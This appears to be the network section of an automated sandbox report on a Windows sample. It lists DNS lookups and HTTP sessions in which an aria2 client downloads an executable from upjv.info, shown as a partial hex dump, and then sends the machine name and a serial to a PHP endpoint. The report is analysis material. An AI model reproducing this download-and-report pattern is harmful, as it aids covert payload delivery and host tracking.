                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138245106 CEST1.1.1.1192.168.2.50x2254No error (0)youtube-ui.l.google.com142.250.74.206A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138245106 CEST1.1.1.1192.168.2.50x2254No error (0)youtube-ui.l.google.com142.250.186.78A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138245106 CEST1.1.1.1192.168.2.50x2254No error (0)youtube-ui.l.google.com142.250.181.238A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138245106 CEST1.1.1.1192.168.2.50x2254No error (0)youtube-ui.l.google.com216.58.206.46A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138245106 CEST1.1.1.1192.168.2.50x2254No error (0)youtube-ui.l.google.com142.250.186.110A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138245106 CEST1.1.1.1192.168.2.50x2254No error (0)youtube-ui.l.google.com142.250.185.206A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138245106 CEST1.1.1.1192.168.2.50x2254No error (0)youtube-ui.l.google.com142.250.185.78A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138245106 CEST1.1.1.1192.168.2.50x2254No error (0)youtube-ui.l.google.com172.217.18.14A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138245106 CEST1.1.1.1192.168.2.50x2254No error (0)youtube-ui.l.google.com142.250.186.46A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138245106 CEST1.1.1.1192.168.2.50x2254No error (0)youtube-ui.l.google.com142.250.185.174A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138245106 CEST1.1.1.1192.168.2.50x2254No error (0)youtube-ui.l.google.com142.250.186.142A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.145946980 CEST1.1.1.1192.168.2.50xbab3No error (0)star-mini.c10r.facebook.com157.240.0.35A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.145956993 CEST1.1.1.1192.168.2.50x5b66No error (0)dyna.wikimedia.org185.15.59.224A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.146384954 CEST1.1.1.1192.168.2.50x9538No error (0)youtube-ui.l.google.com142.250.186.110A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.146384954 CEST1.1.1.1192.168.2.50x9538No error (0)youtube-ui.l.google.com142.250.185.206A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.146384954 CEST1.1.1.1192.168.2.50x9538No error (0)youtube-ui.l.google.com142.250.185.142A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.146384954 CEST1.1.1.1192.168.2.50x9538No error (0)youtube-ui.l.google.com142.250.186.174A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.146384954 CEST1.1.1.1192.168.2.50x9538No error (0)youtube-ui.l.google.com142.250.185.238A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.146384954 CEST1.1.1.1192.168.2.50x9538No error (0)youtube-ui.l.google.com172.217.18.14A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.146384954 CEST1.1.1.1192.168.2.50x9538No error (0)youtube-ui.l.google.com142.250.185.110A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.146384954 CEST1.1.1.1192.168.2.50x9538No error (0)youtube-ui.l.google.com142.250.184.238A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.146384954 CEST1.1.1.1192.168.2.50x9538No error (0)youtube-ui.l.google.com172.217.16.206A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.146384954 CEST1.1.1.1192.168.2.50x9538No error (0)youtube-ui.l.google.com216.58.212.142A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.146384954 CEST1.1.1.1192.168.2.50x9538No error (0)youtube-ui.l.google.com172.217.18.110A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.146384954 CEST1.1.1.1192.168.2.50x9538No error (0)youtube-ui.l.google.com172.217.23.110A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.146384954 CEST1.1.1.1192.168.2.50x9538No error (0)youtube-ui.l.google.com216.58.206.46A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.146384954 CEST1.1.1.1192.168.2.50x9538No error (0)youtube-ui.l.google.com142.250.184.206A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.146384954 CEST1.1.1.1192.168.2.50x9538No error (0)youtube-ui.l.google.com216.58.206.78A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.146384954 CEST1.1.1.1192.168.2.50x9538No error (0)youtube-ui.l.google.com142.250.185.78A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.153913021 CEST1.1.1.1192.168.2.50x8867No error (0)star-mini.c10r.facebook.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.153929949 CEST1.1.1.1192.168.2.50xed04No error (0)youtube-ui.l.google.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.153929949 CEST1.1.1.1192.168.2.50xed04No error (0)youtube-ui.l.google.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.153929949 CEST1.1.1.1192.168.2.50xed04No error (0)youtube-ui.l.google.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.153929949 CEST1.1.1.1192.168.2.50xed04No error (0)youtube-ui.l.google.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.154419899 CEST1.1.1.1192.168.2.50x9b92No error (0)dyna.wikimedia.org28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.161761045 CEST1.1.1.1192.168.2.50xd11eNo error (0)twitter.com104.244.42.1A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.161777973 CEST1.1.1.1192.168.2.50x3156No error (0)www.reddit.comreddit.map.fastly.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.161777973 CEST1.1.1.1192.168.2.50x3156No error (0)reddit.map.fastly.net151.101.193.140A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.161777973 CEST1.1.1.1192.168.2.50x3156No error (0)reddit.map.fastly.net151.101.1.140A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.161777973 CEST1.1.1.1192.168.2.50x3156No error (0)reddit.map.fastly.net151.101.129.140A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.161777973 CEST1.1.1.1192.168.2.50x3156No error (0)reddit.map.fastly.net151.101.65.140A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.169667006 CEST1.1.1.1192.168.2.50x3686No error (0)twitter.com104.244.42.65A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.170097113 CEST1.1.1.1192.168.2.50x80d2No error (0)reddit.map.fastly.net151.101.1.140A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.170097113 CEST1.1.1.1192.168.2.50x80d2No error (0)reddit.map.fastly.net151.101.65.140A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.170097113 CEST1.1.1.1192.168.2.50x80d2No error (0)reddit.map.fastly.net151.101.193.140A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.170097113 CEST1.1.1.1192.168.2.50x80d2No error (0)reddit.map.fastly.net151.101.129.140A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.064621925 CEST1.1.1.1192.168.2.50xc308No error (0)prod.balrog.prod.cloudops.mozgcp.net35.244.181.201A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.078672886 CEST1.1.1.1192.168.2.50xece6No error (0)services.addons.mozilla.org52.222.236.120A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.078672886 CEST1.1.1.1192.168.2.50xece6No error (0)services.addons.mozilla.org52.222.236.23A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.078672886 CEST1.1.1.1192.168.2.50xece6No error (0)services.addons.mozilla.org52.222.236.48A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.078672886 CEST1.1.1.1192.168.2.50xece6No error (0)services.addons.mozilla.org52.222.236.80A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.087228060 CEST1.1.1.1192.168.2.50x530bNo error (0)normandy.cdn.mozilla.netnormandy-cdn.services.mozilla.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.087228060 CEST1.1.1.1192.168.2.50x530bNo error (0)normandy-cdn.services.mozilla.com35.201.103.21A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.092053890 CEST1.1.1.1192.168.2.50xa8eaNo error (0)services.addons.mozilla.org52.222.236.80A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.092053890 CEST1.1.1.1192.168.2.50xa8eaNo error (0)services.addons.mozilla.org52.222.236.48A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.092053890 CEST1.1.1.1192.168.2.50xa8eaNo error (0)services.addons.mozilla.org52.222.236.23A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.092053890 CEST1.1.1.1192.168.2.50xa8eaNo error (0)services.addons.mozilla.org52.222.236.120A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.097481012 CEST1.1.1.1192.168.2.50x720dNo error (0)normandy-cdn.services.mozilla.com35.201.103.21A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.552872896 CEST1.1.1.1192.168.2.50x9171No error (0)push.services.mozilla.com34.107.243.93A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.620510101 CEST1.1.1.1192.168.2.50x783aNo error (0)a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.coma17.rackcdn.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.620510101 CEST1.1.1.1192.168.2.50x783aNo error (0)a17.rackcdn.coma17.rackcdn.com.mdc.edgesuite.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:54.553287029 CEST1.1.1.1192.168.2.50xe255No error (0)support.mozilla.orgprod.sumo.prod.webservices.mozgcp.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:54.553287029 CEST1.1.1.1192.168.2.50xe255No error (0)prod.sumo.prod.webservices.mozgcp.netus-west1.prod.sumo.prod.webservices.mozgcp.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:54.553287029 CEST1.1.1.1192.168.2.50xe255No error (0)us-west1.prod.sumo.prod.webservices.mozgcp.net34.149.128.2A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:54.561211109 CEST1.1.1.1192.168.2.50x7123No error (0)us-west1.prod.sumo.prod.webservices.mozgcp.net34.149.128.2A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:13.177768946 CEST1.1.1.1192.168.2.50x26aNo error (0)push.services.mozilla.com34.107.243.93A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:13.818929911 CEST1.1.1.1192.168.2.50x3831No error (0)detectportal.firefox.comdetectportal.prod.mozaws.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:13.818929911 CEST1.1.1.1192.168.2.50x3831No error (0)prod.detectportal.prod.cloudops.mozgcp.net34.107.221.82A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:54.135443926 CEST1.1.1.1192.168.2.50x3a28No error (0)push.services.mozilla.com34.107.243.93A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:54.780441046 CEST1.1.1.1192.168.2.50xef49No error (0)detectportal.firefox.comdetectportal.prod.mozaws.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:54.780441046 CEST1.1.1.1192.168.2.50xef49No error (0)prod.detectportal.prod.cloudops.mozgcp.net34.107.221.82A (IP address)IN (0x0001)false

                                                                                                                                                                                                                                                                  HTTP Request Dependency Graph

                                                                                                                                                                                                                                                                  • upjv.info
                                                                                                                                                                                                                                                                  • detectportal.firefox.com

                                                                                                                                                                                                                                                                  HTTP Packets

                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                  0192.168.2.54970446.105.204.6804536C:\Users\user\TMP\cr-20241021-53901\ariac.exe
                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.249252081 CEST191OUTGET /clean/clean2.exe HTTP/1.1
                                                                                                                                                                                                                                                                  User-Agent: aria2/1.36.0
                                                                                                                                                                                                                                                                  Accept: */*,application/metalink4+xml,application/metalink+xml
                                                                                                                                                                                                                                                                  Host: upjv.info
                                                                                                                                                                                                                                                                  Want-Digest: SHA-512;q=1, SHA-256;q=1, SHA;q=0.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973120928 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  date: Mon, 21 Oct 2024 09:39:03 GMT
                                                                                                                                                                                                                                                                  content-type: application/x-msdownload
                                                                                                                                                                                                                                                                  content-length: 2521803
                                                                                                                                                                                                                                                                  last-modified: Tue, 03 May 2022 21:28:28 GMT
                                                                                                                                                                                                                                                                  x-iplb-request-id: 90D90206:BED6_D5BA2111:0050_67162137_4F9F4:52D1
                                                                                                                                                                                                                                                                  Age: 0
                                                                                                                                                                                                                                                                  X-CDN-Cache: MISS
                                                                                                                                                                                                                                                                  X-CDN-Request-ID: 509182289
                                                                                                                                                                                                                                                                  X-CDN-Pop: bhs
                                                                                                                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f9 08 ad 42 bd 69 c3 11 bd 69 c3 11 bd 69 c3 11 d2 76 c8 11 be 69 c3 11 3e 75 cd 11 b5 69 c3 11 d2 76 c9 11 b6 69 c3 11 d2 76 c7 11 bf 69 c3 11 33 61 9c 11 bf 69 c3 11 bd 69 c2 11 1d 69 c3 11 3e 61 9e 11 b0 69 c3 11 8b 4f c8 11 e5 69 c3 11 8b 4f c9 11 be 69 c3 11 a6 f4 69 11 b2 69 c3 11 a6 f4 5d 11 bf 69 c3 11 7a 6f c5 11 bc 69 c3 11 52 69 63 68 bd 69 c3 11 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 40 05 e7 5a 00 00 00 00 00 00 00 00 e0 00 2f 01 0b 01 06 00 00 94 02 00 00 d0 00 00 00 00 00 00 9c 76 02 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 [TRUNCATED]
                                                                                                                                                                                                                                                                  Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Biiivi>uivivi3aiii>aiOiOiii]izoiRichiPEL@Z/v@$ 4.text `.rdatadf@@.data<E @.sxdatap@.rsrc "@@
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973150969 CEST212INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                                  Data Ascii: H}BbM/Fe3JuYMd}B}b
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973160982 CEST1236INData Raw: 00 00 53 33 db 56 53 ff 15 2c b2 42 00 b9 50 b5 42 00 e8 35 09 00 00 3d 47 00 04 00 a3 78 21 43 00 1a c0 8d 4d 88 fe c0 a2 50 20 43 00 e8 2c 15 00 00 8d 4d a0 89 5d fc 88 5d f3 88 5d f2 e8 1b 15 00 00 8d 4d b8 c6 45 fc 01 e8 a4 62 01 00 c6 45 fc
                                                                                                                                                                                                                                                                  Data Ascii: S3VS,BPB5=Gx!CMP C,M]]]MEbEBPM?UME3uE9]YvSM&39]vyEPvef8-u]fHfArfZw fyuE5fouMPM79]E
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973186970 CEST1236INData Raw: 85 b7 00 00 00 83 f9 01 0f 85 a9 00 00 00 ba d8 b4 42 00 33 c9 e8 39 eb 00 00 8d 8d 10 ff ff ff c6 45 fc 0d e8 2d 01 00 00 8d 4d ac c6 45 fc 0c e8 c1 04 01 00 8d 4d c4 c6 45 fc 0b e8 b5 04 01 00 ff 75 d0 e8 62 0b 00 00 ff b5 60 ff ff ff e8 57 0b
                                                                                                                                                                                                                                                                  Data Ascii: B39E-MEMEub`WYEYM_;EtWPj[u0|%YY_MEauuYY^M[d)}QE~MEMEu
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973196983 CEST1236INData Raw: e4 b0 42 00 5f 8b c3 5b c9 c3 ff 71 0c e8 c5 06 00 00 59 c3 b8 d0 7e 42 00 e8 b3 58 02 00 51 8b 45 08 53 56 57 89 65 f0 a3 7c 21 43 00 e8 5b 00 00 00 84 c0 75 20 ba 60 b6 42 00 33 c9 e8 3d e6 00 00 6a 02 58 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 5b
                                                                                                                                                                                                                                                                  Data Ascii: B_[qY~BXQESVWe|!C[u `B3=jXM_^d[ee@j8B31@UPBtujX3~BXQVjYM3;EtuM
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973263025 CEST636INData Raw: 00 53 e8 fc 01 00 00 59 59 85 f6 75 e3 5b 83 67 04 00 5f 5e c3 55 8b ec 83 ec 10 56 33 f6 57 83 f9 0a 8b fa 72 21 53 6a 0a 8b c1 33 d2 5b f7 f3 53 8b c1 59 80 c2 30 88 54 35 f0 33 d2 f7 f1 46 8b c8 3b cb 73 e1 5b 80 c1 30 88 0f 47 85 f6 74 09 8a
                                                                                                                                                                                                                                                                  Data Ascii: SYYu[g_^UV3Wr!Sj3[SY0T53F;s[0GtD5N'_^US]V39uWwrwL9uwr,jjuSU0jjuD5FSUUws0GtD5N'_^[Vj^tF$
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973273993 CEST1236INData Raw: 85 f6 74 06 eb d6 32 c0 eb 02 b0 01 5f 5e 5d 5b c3 8b c1 66 3d 61 00 72 1a 66 3d 7a 00 77 04 83 c0 e0 c3 66 3d 7f 00 76 0a 0f b7 c0 50 ff 15 04 b2 42 00 c3 8b 54 24 04 56 8b 31 8a 02 42 84 c0 74 29 66 8b 0e 46 46 66 83 f9 41 72 09 66 83 f9 5a 77
                                                                                                                                                                                                                                                                  Data Ascii: t2_^][f=arf=zwf=vPBT$V1Bt)fFFfArfZw <A|<Z ff;u2^Vff;1utBAA2^^VWf1AfABf;t*fw+fArfZ~ v<A|<Z ff;uft2_^VfBBftf1AAf;u
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973283052 CEST1236INData Raw: d3 76 0d 66 8b 32 66 89 30 40 40 42 42 49 75 f3 8b c7 5f 5e 5b c2 04 00 55 8b ec 51 53 56 57 8b 7d 08 8b d9 33 f6 80 3f 00 89 5d fc 74 07 46 80 3c 3e 00 75 f9 56 8b cb e8 e6 fd ff ff 8b 03 33 c9 85 f6 76 11 8b d0 66 0f b6 1c 39 66 89 1a 41 42 42
                                                                                                                                                                                                                                                                  Data Ascii: vf2f0@@BBIu_^[UQSVW}3?]tF<>uV3vf9fABB;rf$pE_^[Vt$WvF6@tffAAFFHu_^VWj_9~sSj6YY~[fL$~_f`f^US]V3f93WtF@@f8u;wv
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973294020 CEST1236INData Raw: 08 66 83 24 42 00 89 41 04 c3 56 8b f1 8b 46 08 3b 46 04 75 05 e8 58 f9 ff ff 8b 4e 04 8b 06 8d 4c 09 02 51 50 83 c0 02 50 ff 15 50 b1 42 00 8b 06 66 8b 4c 24 14 83 c4 0c 66 89 08 ff 46 04 5e c2 04 00 8b 44 24 08 53 33 db 56 66 39 18 8b f1 74 3b
                                                                                                                                                                                                                                                                  Data Ascii: f$BAVF;FuXNLQPPPBfL$fF^D$S3Vf9t;C@@f8ut.W|$SWL$xvf9f8@@AAJu^_^[SVW|$_t+St$T$Pvf9f8@@AAJu^_^[f@@ft/f;T$uVPf0@@ft
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973304033 CEST1236INData Raw: ce e8 7a fa ff ff 8b 0e 8d 44 41 02 8b cf 50 e8 19 f6 ff ff 8b c7 5f 5e 59 c3 8b 12 8b 09 e9 00 00 00 00 51 53 8b d9 55 56 66 8b 33 8b ea 57 66 8b 7d 00 66 85 f6 74 69 8d 43 02 89 44 24 10 66 83 fe 2a 75 16 8b 4c 24 10 8b d5 e8 d3 ff ff ff 84 c0
                                                                                                                                                                                                                                                                  Data Ascii: zDAP_^YQSUVf3Wf}ftiCD$f*uL$uWftV8f?uftI$f;t=!Cu9ff;u#CCD$f3EEff}u3f2_^][YA3Vvf1f*tf?tBAA;r2^^yt.yt(yt"
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.978302002 CEST1236INData Raw: 00 51 51 53 56 8b f1 33 c0 57 89 75 f0 89 06 89 46 04 89 46 08 8b 4d 08 89 45 fc 8b 79 04 3b f8 74 1a b8 ff ff ff 3f 3b f8 77 02 8b c7 c1 e0 02 50 e8 da eb ff ff 59 89 06 89 7e 08 33 db 85 ff 76 3a 6a 0c e8 c7 eb ff ff 59 89 45 ec 85 c0 c6 45 fc
                                                                                                                                                                                                                                                                  Data Ascii: QQSV3WuFFMEy;t?;wPY~3v:jYEEtM43NeFC;rM_^[dB=QS]V;uXWgCPE39}v8jCYEet43NM


                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                  1192.168.2.54970646.105.204.6801292C:\Users\user\TMP\cr-20241021-53901\ariac.exe
                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:18.385240078 CEST226OUTGET /clean/entree.php?poste=user-PC^&serial=F2LEUD3EOH HTTP/1.1
                                                                                                                                                                                                                                                                  User-Agent: aria2/1.36.0
                                                                                                                                                                                                                                                                  Accept: */*,application/metalink4+xml,application/metalink+xml
                                                                                                                                                                                                                                                                  Host: upjv.info
                                                                                                                                                                                                                                                                  Want-Digest: SHA-512;q=1, SHA-256;q=1, SHA;q=0.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:19.144953012 CEST380INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  date: Mon, 21 Oct 2024 09:39:19 GMT
                                                                                                                                                                                                                                                                  content-type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                  x-powered-by: PHP/8.1
                                                                                                                                                                                                                                                                  x-iplb-request-id: 90D90207:947A_D5BA2111:0050_67162147_569FC:52D1
                                                                                                                                                                                                                                                                  Age: 0
                                                                                                                                                                                                                                                                  X-CDN-Cache: MISS
                                                                                                                                                                                                                                                                  X-CDN-Request-ID: 1054900432
                                                                                                                                                                                                                                                                  X-CDN-Pop: bhs
                                                                                                                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Data Raw: 30 30 32 31 0d 0a ef bb bf 20 20 20 53 65 72 69 61 6c 4e 75 6d 62 65 72 20 3d 20 33 39 4c 2d 48 31 31 2d 43 5e 20 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                  Data Ascii: 0021 SerialNumber = 39L-H11-C^ 0


                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                  2192.168.2.54974634.107.221.82801088C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.801768064 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:24.406963110 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68024
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>


                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                  3192.168.2.54974546.105.204.6801088C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:25.938231945 CEST376OUTGET /clean/clean.php?serial=F2LEUD3EOH HTTP/1.1
                                                                                                                                                                                                                                                                  Host: upjv.info
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Upgrade-Insecure-Requests: 1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.197259903 CEST408INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  date: Mon, 21 Oct 2024 09:39:22 GMT
                                                                                                                                                                                                                                                                  content-type: text/html; charset=UTF-8
